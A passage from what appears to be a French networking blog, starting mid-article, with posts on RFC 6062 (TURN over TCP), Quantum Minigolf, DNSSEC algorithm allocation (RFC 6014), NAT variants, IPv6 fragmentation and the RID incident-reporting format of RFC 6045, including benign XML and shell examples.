La section 3 rappelle le fonctionnement de TURN : le client TURN ouvre une connexion avec le serveur TURN (qui servira de relais) pour le contrôle (messages TURN, pour ouvrir et fermer des connexions). De plus, pour chaque connexion avec un pair, le client TURN aura une connexion de données pour faire passer ses données (son et image, dans l'exemple précédent), avec divers protocoles (par exemple RTP). Pour chacune de ces connexions de données, il y aura également une connexion entre le relais (le serveur TURN) et le pair avec qui on communique.

Pour avoir une allocation TCP, le client TURN va envoyer, sur la connexion de contrôle, une requête Allocate avec un attribut REQUESTED-TRANSPORT indiquant TCP. Le serveur, s'il accepte la requête, écoutera alors en TCP. Chaque fois qu'il voudra envoyer des donnée à un pair, le client enverra une requête Connect au serveur TURN et celui-ci se connectera à son tour en TCP au pair. Enfin, le client devra ouvrir une nouvelle connexion TCP pour les données (voir section 4.3). Une fois cette dernière connexion établie, le relais « connectera » les deux connexions (client->relais et relais->pair) puis relaiera les données entre les deux pairs.

Dans le cas où le client accepte que ce soit le pair qui initie la session, il indique d'abord au serveur qu'il accepte les connections entrantes (requête CreatePermission), le serveur écoute en TCP et, établit la connexion avec le pair et, lorsque c'est fait, signale au client que le pair est arrivé. Le client peut alors faire une connexion TCP vers le serveur puis tout continue comme dans le cas précédent.

Les détails pratiques figurent dans la section 4 (obligations du client) et 5 (obligations du serveur). On notera que, pour relayer du TCP, la connexion entre le client et le serveur doit être en TCP (pour relayer de l'UDP, elle pouvait être en UDP ou TCP). Outre l'attribut REQUESTED-TRANSPORT déjà mentionné, qui doit avoir la valeur 6 (pour TCP), le client doit prendre soin de ne pas inclure des attributs spécifiques à UDP comme EVEN-PORT (qui force l'utilisation d'un port de numéro pair, et qui n'est utile que pour UDP, voir le RFC 5766, section 14.6). TURN utilisera un attribut CONNECTION-ID qui sera indiqué lors de l'acceptation d'une allocation TCP, et devra être donné par le client lors de sa connexion TCP ultérieure, pour permettre au relais de mettre les deux opérations en correspondance.

Le serveur, lui, doit accepter toutes les connexions TCP entrantes (section 5.3), du moment qu'une allocation a été faite (et, donc, un port réservé). Un essai avec telnet montrera donc toujours Connected to $HOSTNAME. C'est ensuite que le serveur TURN vérifie que le client avait donné la permission de se connecter. Sinon (ou si le client, bien qu'il ait donné la permission, ne se manifeste pas lorsqu'on lui signale que le pair est arrivé), la session, à peine acceptée, sera close d'autorité.

La section 6 décrit l'enregistrement à l'IANA des nouvelles méthodes (Connect, ConnectionBind et ConnectionAttempt), d'un nouvel attribut CONNECTION-ID et de nouveaux codes d'erreur 446 (déjà une connexion pour ce couple adresse/port) et 447 (échec de la connexion avec le pair) dans le registre des paramètres STUN (rappelez-vous que TURN est défini comme une extension de STUN).

Enfin, la section 7, sur la sécurité, met en garde contre un petit piège : entre l'acceptation d'une connexion et son branchement de l'autre côté, le relais risque de recevoir des données, qu'il doit tamponner (section 5.2). Le tampon risquant de devenir trop gros, la section 7 demande qu'une taille maximale lui soit fixée.

Une mise en œuvre se trouve dans le service de Viagénie mais ne semble pas activée à l'heure actuelle. Pour une implémentation libre, turnserver a cette option TCP depuis la version 0.4.

Merci à Simon Perreault pour sa relecture et ses remarques.


Téléchargez le RFC 6062


L'article seul

Jouer au golf avec le chat de Schrödinger

Première rédaction de cet article le 29 novembre 2010


Voici un jeu vidéo qui met en cause les certitudes : Quantum Minigolf, un jeu de golf où la balle est quantique. Suivant les lois physiques, elle n'a pas de position déterminée et elle peut passer à travers des orifices plus petits qu'elle. Pas facile de l'envoyer dans le trou...

Le jeu est un logiciel libre. Je n'ai pas trouvé de paquetage tout fait mais l'installation est simple (ici, sur une Debian « lenny ») :

  • Téléchargement à partir de Sourceforge,
  • Installation des bibliothèques nécessaires, comme indiqué dans la documentation : aptitude install libfftw3-dev libfreetype6-dev libsdl-ttf2.0-dev build-essential,
  • make.

Et on obtient un exécutable qu'on peut lancer. On doit d'abord sélectionner un parcours (track). Plusieurs parcours sont définis par défaut. Dans un parcours, un obstacle blanc est de hauteur infinie, un obstacle gris de hauteur finie et peut donc être franchi par la balle. On fait défiler les parcours existants avec les flèches gauche et droite. <Enter> démarre le jeu. La souris permet de positionner le club et la durée de la pression sur le premier bouton indique la force avec laquelle on tape.

Après tout est possible... Même si la balle (qui a une forme plutôt floue, reflétant la densité de probabilité) semble partie à gauche, elle a une probabilité non nulle d'être à droite. Un autre <Enter> réduit la fonction d'onde et détermine le résultat du jeu. (Rappelez-vous que le chat de Schrödinger n'est ni vivant ni mort tant que vous ne l'observez pas.)

Ici, la balle passe à travers deux trous simultanément : quantumminigolf.jpg

On peut aussi créer ses propres parcours. Les instructions sont dans le README. J'ai utilisé Inkscape mais, comme il ne semble pas capable d'enregistrer au format BMP, j'ai converti le fichier SVG produit par Inkscape avec ImageMagick : convert -verbose tracks/test.svg tracks/test.bmp. Si, au lancement, vous avez un message « no quantum track found », c'est qu'il y a un problème dans le fichier, probablement un mauvais format. En revanche, les messages « failed to load {soft,hard}core potential » peuvent être ignorés.


L'article seul

RFC 6014: Cryptographic Algorithm Identifier Allocation for DNSSEC

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : P. Hoffman (VPN Consortium)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 22 novembre 2010


L'allocation d'un nouveau numéro pour un algorithme cryptographique dans DNSSEC exigeait auparavant un RFC sur le chemin des normes. Désormais, n'importe quel RFC conviendra, ce qui est une libéralisation bienvenue.

Ces numéros sont attribués par l'IANA, stockés dans un registre public et permettent, lorsqu'on récupère un enregistrement DNSSEC, de savoir comment l'interpréter. Ainsi, le TLD .pm est signé avec l'algorithme de numéro 8, soit RSA/SHA-256 :

% dig +dnssec ANY pm.
...
pm.  172800 IN RRSIG SOA 8 1 172800 20100818151448 20100719141448 14659 pm. oepDlhY...

L'espace de nommage de ces codes ne fait qu'un seul octet, soit 256 possibilités seulement. Ce point a fait l'objet d'inquiétudes au moment de la libéralisation de l'allocation.

La norme DNSSEC, le RFC 4034 (section 7), reprenant des normes antérieures, impose un « IETF standards action » pour enregistrer un nouveau code, sauf pour 253 et 254, qui sont utilisables pour de expérimentations sans formalité. Une « IETF standards action », comme nous l'apprend le RFC 5226, est la publication d'un RFC situé sur le chemin des normes. C'est donc une opération plutôt lourde (mais possible : GOST a eu le numéro 12 ainsi, grâce au RFC 5933).

La section 2 du RFC explique le pourquoi de la libéralisation :

  • Certains algorithmes méritants peuvent avoir du mal à passer sur le chemin des normes, par exemple par suite de craintes sur les brevets qui les plombent, ou simplement parce qu'il n'ont pas encore été scrutés avec suffisamment d'attention. (Voir aussi la section 5 pour une discussion sur la sécurité des algorithmes et leur normalisation.)
  • Les demandes sont peu fréquentes (on n'invente pas un nouvel algorithme de cryptographie tous les jours !) et il y a donc peu de chances de voir les huits bits de l'espace occupés immédiatement.

Pour être complètement en sécurité, notre RFC demande à l'IETF de réévaluer les critères d'allocation lorsque 120 entrées du registre auront été allouées (en juillet 2010, on en a 11...). C'est pour cela que la plage 123-251 du registre est marquée comme réservée. Et les codes 253 et 254 restent disponibles pour les expérimentations.

Quelles sont les conséquences pour les mises en œuvre de DNSSEC (section 3) ? D'abord, il faut bien voir qu'un programme qui fait du DNSSEC n'a jamais été obligé d'implémenter tous les algorithmes du registre. Ceci ne change pas. Il y aura donc toujours des algorithmes qui ne seront pas universellement mis en œuvre. Les seuls algorithmes qui sont garantis sont ceux indiqués comme obligatoires dans le RFC 4034 (annexe A.1) ou son successeur. Actuellement, il n'y a que RSA/SHA-1.

Enfin, notons que le RFC précise que l'ordre des algorithmes dans le registre n'implique rien sur leur force cryptographique respective, ou leur sécurité...

Comme notre RFC ne fait que changer une règle d'allocation dans un registre IANA, toute sa partie normative se concentre dans la section 4, « IANA considerations ». En un mot, un RFC de n'importe quel statut suffit désormais pour demander un code dans le registre. Certains cas dans DNSSEC n'étaient pas couverts par cette libéralisation, mais c'est désormais le cas depuis le RFC 9157.


Téléchargez le RFC 6014


L'article seul

Exposé sur la recherche du meilleur pair en réseau P2P (THD)

Première rédaction de cet article le 18 novembre 2010
Dernière mise à jour le 29 novembre 2010


Le lundi 29 novembre au matin, à la Cité des Sciences à Paris, j'ai participé à l'atelier « Réseaux P2P et overlay » du projet THD. Je faisais un exposé sur « La recherche du meilleur pair dans un réseau pair-à-pair ».

Dans un réseau pair-à-pair (par exemple d'échange de fichiers) le contenu convoité est répliqué sur de nombreux pairs à travers le monde. Si on obtient (par le tracker ou par une DHT) une longue liste de pairs possibles, lequel utiliser ? Le meilleur, certes, mais comment le trouver ? Utiliser ping sur 10 000 pairs potentiels pour trouver celui qui répond le plus vite n'est pas réaliste... Comme le montre le RFC 6029, il y a beaucoup d'approches possibles. Ce sera l'occasion de couvrir des techniques comme ALTO (cf. RFC 5693), sur lequel un groupe de travail de l'IETF planche depuis deux ans.


L'article seul

Fiche de lecture : Google God

Auteur(s) du livre : Ariel Kyrou
Éditeur : Inculte
9978-2-916940-38-0
Publié en 2010
Première rédaction de cet article le 18 novembre 2010


Les livres sur Google sont devenus un genre littéraire en soi. On peut désormais remplir sa bibliothèque avec les ouvrages sur ce sujet, allant du plus cireur de pompes émerveillé au paranoïaque délirant. Ce que j'ai apprécié, dans le « Google God » d'Ariel Kyrou est que l'auteur connait le sujet et qu'il est capable de critiquer Google tout en identifiant les raisons pour lesquelles cette entreprise est un succès, notamment ses compétences techniques.

Ariel Kyrou connait, non seulement Google, mais aussi la culture dans laquelle cette entreprise a baigné depuis ses débuts. Il cite d'ailleurs un grand nombre d'auteurs de science-fiction, l'une de ses thèses étant que, pour comprendre Google, il faut comprendre les livres que lisent ses fondateurs et ingénieurs.

On est donc loin d'un livre comme « Google-moi » dont l'auteur étalait surtout son ignorance du sujet, et citait Kant et Platon quand Kyrou cite Philip Dick.

Cet angle de vue original permet à l'auteur d'expliquer pas mal de choses surprenantes chez Google, une entreprise qui mélange une culture libertaire et une réussite capitaliste. Ainsi, selon Kyrou, c'est précisément parce que les fondateurs de Google n'aimaient pas la publicité et s'en méfiaient que Google a tellement bien réussi sur ce plan. Les concurrents de Google, adorateurs de Madison Avenue, noyaient leurs pages sous de ridicules et immenses bandeaux publicitaires, qui ont fini par dégoûter les lecteurs. Google, plus prudent, a choisi des publicités discrètes et elles ont été beaucoup mieux acceptées, permettant à Google de saisir une grande part du gâteau publicitaire.

Kyrou s'attaque aussi à la question délicate de savoir si Google sert ses utilisateurs ou bien s'il se sert d'eux, exploitant leur ignorance. L'auteur estime que la question n'est pas bien posée : citant Yann Moulier-Boutang, il estime que les rapports de Google avec ses utilisateurs sont ceux d'un apiculteur avec ses abeilles. L'apiculteur exploite-t-il les abeilles ? Certainement, et pourtant il a intérêt à ce qu'elles vivent et prospèrent, donc il les soigne. Et les abeilles, contrairement au poulet en batterie, sont « volontaires », elles retournent à la ruche sans contrainte.

Bref, nous, les utilisateurs de Google, nous sommes des petites abeilles, pollinisant tous les jours gratuitement la grande ruche de la connaissance...


L'article seul

Le zoo des systèmes de traduction d'adresse IP

Première rédaction de cet article le 16 novembre 2010


La réunion IETF 79 à Pékin a été l'occasion de mettre à jour mes connaissances sur les derniers progrès du jargon IETF et notamment d'apprendre la nouvelle liste des variantes du NAT, où des numéros indiquent la version d'IP utilisée.

On trouve ainsi :

  • NAT44 : un niveau de traduction, de IPv4 vers IPv4. C'est le NAT traditionnel, que Linux avait été le premier système à introduire, sous le nom de IP masquerading. En raison du manque d'adresses IPv4, il n'y a en général qu'une seule adresse IP externe et le routeur ne fait donc pas de la réelle traduction d'adresses (NAT) mais de la traduction « adresse et port » (NAPT pour Network And Port Translation), il traduit les adresses internes en tuples adresse_externe+port. C'est ce NAT44 dont les inconvénients sont décrits dans les RFC 2663, RFC 3424 et RFC 5128 et pour lequel le groupe de travail Behave v1 a proposé plusieurs bonnes pratiques qui limitent les dégâts (cf. RFC 4787, RFC 5382, RFC 5508, etc). C'est lui qui impose aux serveurs publics de désormais journaliser le port en même temps que l'adresse (autre gros sujet de discussion à Pékin)
  • NAT46 et NAT64 sont les cas où on traduit de IPv4 en IPv6 (cas d'un réseau ancien qui accède à un Internet IPv6) ou réciproquement (cas d'un réseau récent qui veut accéder à l'Internet traditionnel). C'est cette technique qui était normalisée à l'origine dans le RFC 2766 (abandonné par la suite car trop complexe) et qui fait désormais l'attention du groupe de travail Behave v2, qui a produit des RFC normalisant l'utilisation de la traduction d'adresses pour faire coexister IPv4 et IPv6 (RFC 6052, RFC 6144, etc). Notons que le mécanisme de transition envisagé à l'origine, la double-pile (toutes les machines ont une adresse IPv4 et une adresse IPv6, tant que la transition dure), a été annulé par l'insuffisant déploiement d'IPv6 (cf. RFC 5211).
  • Mais, désormais, on applique la logique Shadok à son maximum : « pourquoi faire simple quand on peut faire compliqué ? » C'est ainsi qu'est né le NAT444, technique déjà largement déployée par des FAI, notamment en Asie et Afrique. Il s'agit ici d'avoir deux niveaux de traduction successifs, entre le réseau local de l'utilisateur et celui du FAI, puis entre celui du FAI et l'Internet. Le RFC 5684 expose en détail les conséquences néfastes que cela peut avoir, si les adresses privées des deux côtés sont dans le même préfixe. Une bonne partie des discussions à la réunion IETF de Pékin tournait autour de la demande de réservation d'un préfixe /10 pour l'adressage des réseaux internes des FAI, limitant ainsi certains des risques évoqués par ce RFC. Autre problème avec NAT444, s'il existe des mécanismes standard permettant à une machine de détecter son adresse IP publique (RFC 8489), l'adresse intermédiaire, elle, est complètement invisible.
  • Quant à NAT66, il s'agit de traduction entre IPv6 et IPv6 (RFC 6296). Cette fois, vue l'abondance des adresses IPv6, on peut faire de la vraie traduction d'adresses, sans numéro de port, chaque adresse interne correspondant à une et une seule adresse externe. Mais, justement, puisque les adresses IPv6 sont abondantes, pourquoi diable faire du NAT ? Eh bien certaines personnes croient voir des avantages au NAT, même sans qu'il y ait de pénurie d'adresses (par exemple, une légende fréquente est que le NAT améliore la sécurité). Un RFC de l'IAB, le RFC 5902 détaille ainsi la question du NAT sur IPv6 et explique que, bien que ce soit une mauvaise idée, il faut sans doute s'attendre à le voir arriver. En tout cas, c'est bien plus facile à programmer (pas besoin de conserver un état, il suffit juste de remplacer une adresse par une autre) comme le montre le programme C ropitault-nat66.tar.gz dû à Tanguy Ropitault (merci !).
  • Encore plus amusant à déboguer, NAT464 et NAT646, pas encore déployés, et qui permettraient, pour le premier, de connecter le réseau local IPv4 du client (IPv4, car rempli de vieilles machines n'ayant que v4) au réseau IPv6 du FAI (pour le cas d'un FAI récent qui n'a pas eu d'allocation v4 du tout) puis à l'Internet traditionnel resté v4 et, pour le second mécanisme, NAT646, à un réseau local composé d'objets récents purement v6, de se connecter au réseau d'un FAI traditionnaliste resté en v4 et de là à un Internet passé en v6.
  • Et pourquoi s'arrêter en si bon chemin ? Comme personne n'ose dire aux bricoleurs qu'ils travaillent salement, cela peut continuer, et on verra peut-être apparaître du NAT4444 (trois niveaux de traduction)...

Bref, c'était plus simple avant. Le modèle IP tel qu'il était enseigné aux débutants (adresse IP unique au niveau mondial, connectivité de bout en bout (toute machine IP peut envoyer un paquet à toute autre qui le désire), et transparence du réseau (le paquet ne sera pas modifié en cours du route), ce modèle dont la simplicité est largement responsable du succès de l'Internet, est désormais très menacé, pour le plus grand plaisir de ceux qui n'ont jamais vraiment accepté que les machines et, derrière elles, leurs utilisateurs, puissent communiquer facilement.


L'article seul

Fragmentation IPv6 : se résigner à couper à 1280 octets ?

Première rédaction de cet article le 12 novembre 2010


Les réunions IETF sont toujours l'occasion de discussions intéressantes à table. À l'IETF 79 à Pékin, une vive discussion a ainsi fait irruption au dessus du canard laqué de midi : ne faudrait-il pas changer les algorithmes utilisés pour faire de la fragmentation en IPv6 ? Rémi Després (auteur du RFC 5569) suggérait en effet de ne pas envoyer de paquets de plus de 1280 octets lorsqu'on sort du réseau local.

Un petit détour d'abord, avant de discuter de cette proposition. Comment fonctionne la fragmentation dans IP ? Elle est très différente en IPv4 et en IPv6. En IPv4, l'émetteur d'un paquet (le RFC sur IPv4, le RFC 791 parle en général de datagram et celui sur IPv6, le RFC 2460, de packet, je vais juste dire paquet en considérant que c'est un synonyme de datagramme) suit la MTU du réseau local (typiquement 1500 octets, la MTU d'Ethernet). Si, plus tard sur le chemin, un lien a une MTU plus faible (par exemple parce qu'on entre dans un tunnel), le routeur qui émet sur ce lien fragmente le paquet (RFC 791, section 2.3) . Comme cette fragmentation ralentit les routeurs (et que le réassemblage ultérieur ralentit les machines de destination), une optimisation existe, la PMTUD (Path MTU Discovery, RFC 1191), qui permet de découvrir la MTU du chemin complet (c'est la MTU du lien ayant la plus petite) et donc d'envoyer uniquement des paquets d'une taille telle qu'ils passeront. Cette méthode est peu fiable en pratique (RFC 2923) en raison notamment de l'incompétence d'administrateurs réseaux qui bloquent tout ICMP. On pourrait certes résoudre le problème en massacrant sauvagement tous les incompétents mais cela prendrait du temps. Et, pour IPv4, ce n'est pas forcément indispensable puisque, si l'émetteur ne peut pas fragmenter, les routeurs intermédiaires le feront.

Mais IPv6 est très différent : cette fois, les routeurs intermédiaires n'ont plus le droit de fragmenter, seule la machine émettrice le peut. Elle doit donc faire quelque chose du genre (en pseudo-code) :

if is_link_local(destination) {
    packet_size := mtu(interface)
}
else { /* Destination distante */
   packet_size := path_mtu_discovery(destination)
}
/* Ensuite, on découpe les données en paquets de taille packet_size. */

(Pour un exemple réel, voir net/ipv6/ip6_output.c dans Linux ou sys/netinet6/ip6_output.c sur FreeBSD.) L'algorithme de PMTUD (spécifié, pour IPv6, dans le RFC 1981) devient alors indispensable.

Or, il n'est pas plus fiable en IPv6 qu'en IPv4, alors même que le pourcentage plus élevé de tunnels, ayant une MTU < 1500 octets, le rend plus nécessaire. Résultat, tous les gens qui essaient de faire de l'IPv6 pour de bon (et pas seulement d'en parler dans les colloques) souffrent de ce genre de problèmes. Par exemple, un pare-feu configuré avec les pieds bloque tous les paquets ICMP (une énorme erreur de configuration, mais très fréquente), alors qu'un tunnel, par exemple 6rd, se trouve sur le chemin, avec une MTU plus faible que 1500 octets. Résultat, le message ICMP « Attention, ce paquet est trop gros, il ne passera pas » n'est pas reçu par l'émetteur. La PMTUD déduit donc à tort que la MTU du chemin est de 1500 octets, IP envoie des paquets de cette taille... et ils ne sont jamais reçus. Pour un exemple concret, voir, par exemple, mon exposé à l'OARC sur les conséquences de la signature DNSSEC de .fr, qui a augmenté la taille des paquets au delà de 1500.

Il existe des solutions ponctuelles (comme le RFC 4821 qui est spécifique à TCP et n'aurait donc pas aidé pour des problèmes UDP comme ceux que je cite plus haut) mais pas de solution générale (à part l'extermination totale des administrateurs réseaux qui bloquent l'ICMP).

Donc, que proposait Rémi Després ? Avant de résumer sa proposition, je précise que c'est mon résumé et qu'il n'est pas responsable de mes éventuelles erreurs ou incompréhensions. Donc, son idée, si j'ai bien compris, est d'admettre que la découverte de la MTU du chemin complet ne fonctionne pas réellement et d'exploiter le fait qu'IPv6 impose une MTU minimale qui est assez raisonnable : 1280 octets (RFC 2460, section 5, elle n'était que de 68 octets en IPv4). On peut donc renoncer à la PMTUD et remplacer l'algorithme présenté plus haut par :

if is_link_local(destination) {
    packet_size := mtu(interface)
}
else { /* Destination distante */
   packet_size := 1280
}
/* Ensuite, on découpe les données en paquets de taille packet_size. */

Ce n'est peut-être pas très glorieux mais au moins cela marchera dans tous les cas. (Une version encore moins glorieuse serait obtenue en abaissant la MTU du lien à 1280, par exemple avec ifconfig eth0 mtu 1280. Dans ce cas, même les paquets pour le réseau local seraient plus petits.) Les programmeurs FreeBSD noteront que ce système dispose d'une option de setsockopt(), IPV6_USE_MIN_MTU, qui met exactement en œuvre cet algorithme. Voir ip6(4). Certains protocoles IPv6 comme Teredo ont déjà une telle règle (cf. RFC 4380, section 5.1.2.

Quelles seraient les conséquences pratiques d'un tel algorithme ? D'une part une augmentation de la taille relative des en-têtes : l'en-tête IPv6 étant de taille fixe, plus le paquet est petit, plus la part des en-têtes (la header tax) est élevée (elle passerait de 2,7 % à 3,1 % mais ce calcul ne s'applique qu'aux paquets de la taille maximale ; dans une session TCP, la moitié des paquets sont des accusés de réception, de bien plus petite taille). D'autre part, le coût de traitement d'un paquet dans les équipements réseau comme les routeurs et les commutateurs est relativement indépendant de leur taille. En réduisant la taille des paquets, on augmente leur nombre (de 17 %) et donc la charge des équipements réseau. Alors qu'il faudrait plutôt augmenter la taille des paquets au delà de 1500 octets pour les réseaux à haute performance d'aujourd'hui, se résigner à une taille réduite serait dommage. Mais peut-être n'aura-t-on pas le choix...


L'article seul

Comment résister aux agressions, une bactérie raconte

Première rédaction de cet article le 10 novembre 2010


Un article de Sandrine Etien dans La Recherche (numéro de novembre 2010), parle de la résistance inattendue d'une bactérie, Deinococcus radiodurans, aux radiations. Peut-on en tirer des leçons pour la fiabilité des réseaux informatiques comme l'Internet ?

Cette Deinococcus radiodurans résiste à des doses de radiations qui tueraient n'importe quel autre organisme (doses 50 à 100 fois plus élevées que la dose mortelle pour les autres bactéries). Comment fait-elle ? La plupart du temps, les radiations tuent en brisant l'ADN de la bactérie. Celle-ci peut certes réparer quelques coupures de son ADN mais il y a des limites : si la dose de radiation est suffisamment forte, l'ADN est coupée en tellement de morceaux (des centaines) qu'il cesse d'être réparable et la bactérie meurt. La résistance étonnante de Deinococcus radiodurans était autrefois attribuée à une solidité particulière de son ADN. Or, l'étude de K. Zahradka et ses collègues a montré que non, l'ADN de cette bactérie n'était pas plus solide qu'un autre, la survie de la bactérie tient essentiellement à ses capacités de réparation : Deinococcus radiodurans fait des backups. Quatre à dix copies de son ADN sont stockées à divers endroits de la bactérie. En cas de cassure, le mécanisme de réparation peut utiliser ces copies (puisque les cassures n'ont pas lieu au même endroit pour toutes) afin de reconstituer l'ADN original.

Mais Deinococcus radiodurans ne s'arrête pas là. Elle dispose aussi de mécanismes de protection de son mécanisme de réparation (car les radiations peuvent aussi endommager ce dernier). Et on n'a sans doute pas encore trouvé toutes les techniques de survie qui permettent à cette bactérie de résister, par exemple, à la stérilisation des conserves par irradiation.

Quelles leçons en tirer pour la protection de votre présence sur Internet ? D'abord qu'il ne faut pas forcément chercher uniquement la dureté aux attaques mais aussi la capacité de réparation. Avoir des données protégées, c'est bien. Avoir des copies en de nombreux endroits, c'est mieux. Ensuite, qu'aucune technique ne résout tous les problèmes à elle seule et qu'il faut donc disposer d'une boîte à outils bien garnie, permettant de faire face à toutes les situations. La « super-bactérie » devrait être plus souvent étudiée avant de concevoir des architectures informatiques résistantes...

(Aucun des articles scientifiques utilisés ici ne semble en ligne. Les mêmes scientifiques qui se plaignent qu'on utilise Wikipédia au lieu de Nature devraient se demander pourquoi...)


L'article seul

RFC 6045: Real-time Inter-network Defense

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : Kathleen M. Moriarty (EMC)
Intérêt historique uniquement
Première rédaction de cet article le 8 novembre 2010


La sécurité, face aux innombrables attaques que connaissent les réseaux tous les jours, nécessite un échange d'information permanent. Ce RFC normalise donc un format permettant d'échanger et de traiter ce genre d'informations (depuis mis à jour dans le RFC 6545). Il sera donc peut-être un outil technique utile pour les CSIRT et les opérateurs.

La section 1 résume les problèmes de la sécurité des réseaux auxquels les opérateurs font face. Une fois l'attaque détectée, que ce soit un hameçonnage, une DoS ou une pénétration réussie dans un système connecté au réseau, il faut rédiger un rapport, transmettre à l'opérateur d'origine de l'attaque, demander à un opérateur amont de prendre des mesures pour limiter les dégâts, demander de continuer l'enquête en suivant la trace de l'attaquant, etc. Par exemple, si on veut suivre une trace de paquets dont l'adresse IP source est mensongère, et que le filtrage recommandé par le RFC 2827 n'est pas en place, il faut repérer par quel câble sont entrés ces paquets et envoyer ensuite à l'opérateur situé derrière une demande de continuation de l'enquête. Il n'y a pas de mécanisme formel pour cela. Ça se fait typiquement par téléphone ou par envoi d'un courrier en langue naturelle, ce qui augmente les coûts de traitement.

Le nouveau format, normalisé dans ce RFC 6045 (puis dans le RFC 6545, qui lui a succédé), se nomme RID pour Real-time Inter-network Defense et se base sur le format IODEF du RFC 5070, qui lui-même utilise XML. L'apport par rapport à l'IODEF de base est de cibler la circulation d'informations en « temps réel ». RID vise donc à permettre la réponse immédiate à une attaque. Par exemple, lorsqu'une dDoS est perpétrée par un botnet, il faut certes retrouver les zombies mais aussi identifier le contrôleur qui les commande. RID permet de demander un suivi de la trace des premiers, puis ensuite du second.

La section 2 traite de l'intégration aux systèmes existants. L'opérateur a typiquement un système de gestion centralisé de son réseau, un NMS. Le futur IHS (Incident Handling System) qui recevra et enverra les messages RID devra être intégré à ce NMS. La détection de l'attaque pourra se faire manuellement, ou via un IDS mais cette question est hors-sujet pour RID, qui se contente de permettre le signalement d'attaques, une fois celles-ci détectées.

Quelles sont les obstacles que rencontrent les tentatives de remonter à la source d'une attaque ? La section 3 en donne une liste, et c'est une lecture très recommandée pour comprendre la variété des problèmes auxquels fait face l'opérateur réseau lors d'une attaque. Par exemple, certaines attaques utilisent tellement peu de paquets qu'il est difficile de les répérer. D'autre part, pour prendre rapidement une « empreinte » des paquets utilisés pour l'attaque, les techniques à base d'une fonction de hachage ont souvent été utilisées (cf. « Hash-Based IP Traceback »). Or, certaines attaques ont un contenu des paquets qui varie énormément et il est difficile de trouver une « signature » qui permettrait de dire à l'opérateur précédent « Voici ce que je cherche ». Les nombreuses techniques de traceback pour IP ont été utilisées pour déterminer quelles étaient les informations importantes à inclure dans RID. Ainsi, il est essentiel d'inclure beaucoup d'informations dans le message RID car les champs significatifs et l'attaque, permettant de repérer les paquets, peuvent être n'importe lesquels. RID permet même d'envoyer la totalité du paquet, si nécessaire (section 3.2).

Une fois que le message RID est prêt, que fait-on pour la communication avec les autres opérateurs et avec les CSIRT ? Les sections 4.1 et 4.2 font remarquer que le courrier électronique n'est pas forcément adapté car il peut être trop lent. Mais, de toute façon, il faut prévoir plusieurs canaux de communication car, en cas d'attaque, certains deviendront peut-être inutilisables. Un réseau distinct de celui utilisé pour le trafic « normal » peut donc être nécessaire (voir plus loin le commentaire de la section 6). Le RFC suggère qu'on peut profiter des négociations qui précèdent un accord de peering pour mettre en place un canal de communication sécurisé.

Recommandation utile ou vœu pieux ? En tout cas, la section 4.2 rappelle également que RID ne devrait être utilisé que pour lutter contre des attaques, et pas pour perpétuer des sabotages (en dénonçant un innocent dans l'espoir qu'il se fasse filtrer) ou pour censurer.

Maintenant, place au format utilisé (section 4.3), fondé sur IODEF (RFC 5070). Il y a six messages RID possibles :

  • TraceRequest où on demande à un partenaire d'examiner son réseau pour voir d'où venait l'attaque (l'idée est que, partant de celui qui a détecté l'attaque, on envoit des Tracerequest successifs en remontant peu à peu vers la source de l'attaque).
  • Investigation où on demande une enquête mais pas un traçage de l'attaque, car le demandeur pense avoir déjà identifié la source.
  • Report où on transmet de l'information, sans demander d'action immédiate.
  • IncidentQuery où on demande des détails sur une attaque dont on a entendu parler (les deux derniers types de message sont typiquement pour la communication avec un CSIRT).
  • RequestAuthorization et Result servent à porter les résultats intermédiaires ou finaux.

La section 4.4 décrit plus en détail chacun de ces types.

La section 4.5 fournit plusieurs jolis exemples, que j'ai simplifié ici. Par exemple, une TraceRequest envoyé par un CSIRT qui a détecté une DoS et qui demande à un opérateur réseau de tracer l'attaque. Le message est composé d'un document RID puis du document IODEF qui décrit l'attaque :


<iodef-rid:RID> <!-- Le schéma est enregistré en
https://www.iana.org/assignments/xml-registry/ns.html -->
  <iodef-rid:RIDPolicy MsgType="TraceRequest" 
                       MsgDestination="RIDSystem">
    <iodef:Node>
      <iodef:Address category="ipv4-addr">192.0.2.3</iodef:Address>
    </iodef:Node>
    <iodef-rid:TrafficType type="Attack"/>
    <iodef:IncidentID name="CERT-FOR-OUR-DOMAIN">
      CERT-FOR-OUR-DOMAIN#207-1
    </iodef:IncidentID>
  </iodef-rid:RIDPolicy>
</iodef-rid:RID>
<!-- IODEF-Document accompanied by the above RID -->
<iodef:IODEF-Document>
  <iodef:Incident restriction="need-to-know" purpose="traceback">
    <iodef:DetectTime>2004-02-02T22:49:24+00:00</iodef:DetectTime>
    <iodef:StartTime>2004-02-02T22:19:24+00:00</iodef:StartTime>
    <iodef:ReportTime>2004-02-02T23:20:24+00:00</iodef:ReportTime>
    <iodef:Description>Host involved in DOS attack</iodef:Description>
    <iodef:EventData>
      <iodef:Flow>
        <iodef:System category="source">
          <iodef:Node>
            <iodef:Address category="ipv4-addr">192.0.2.35
...

Et la première réponse, qui indique que la demande de traçage a été approuvée :


<iodef-rid:RID>
  <iodef-rid:RIDPolicy MsgType="RequestAuthorization"
                       MsgDestination="RIDSystem">
    <iodef-rid:TrafficType type="Attack"/>
  </iodef-rid:RIDPolicy>
  <iodef-rid:RequestStatus AuthorizationStatus="Approved"/>
</iodef-rid:RID>

Et enfin la réponse finale :


<iodef-rid:RID>
  <iodef-rid:RIDPolicy MsgType="Result"
                       MsgDestination="RIDSystem">
    <iodef:Node>
      <iodef:Address category="ipv4-addr">192.0.2.67</iodef:Address>
    </iodef:Node>
    <iodef-rid:TrafficType type="Attack"/>
    <iodef:IncidentID name="CERT-FOR-OUR-DOMAIN">
      CERT-FOR-OUR-DOMAIN#207-1
    </iodef:IncidentID>
  </iodef-rid:RIDPolicy>
  <iodef-rid:IncidentSource>
    <iodef-rid:SourceFound>true</iodef-rid:SourceFound>
    <iodef:Node>
      <iodef:Address category="ipv4-addr">192.0.2.37</iodef:Address>
    </iodef:Node>
  </iodef-rid:IncidentSource>
</iodef-rid:RID>
<!-- IODEF-Document accompanied by the above RID -->
<iodef:IODEF-Document>
  <iodef:Incident restriction="need-to-know" purpose="traceback">
    <iodef:IncidentID name="CERT-FOR-OUR-DOMAIN">
      CERT-FOR-OUR-DOMAIN#207-1
    </iodef:IncidentID>
    <iodef:DetectTime>2004-02-02T22:49:24+00:00</iodef:DetectTime>
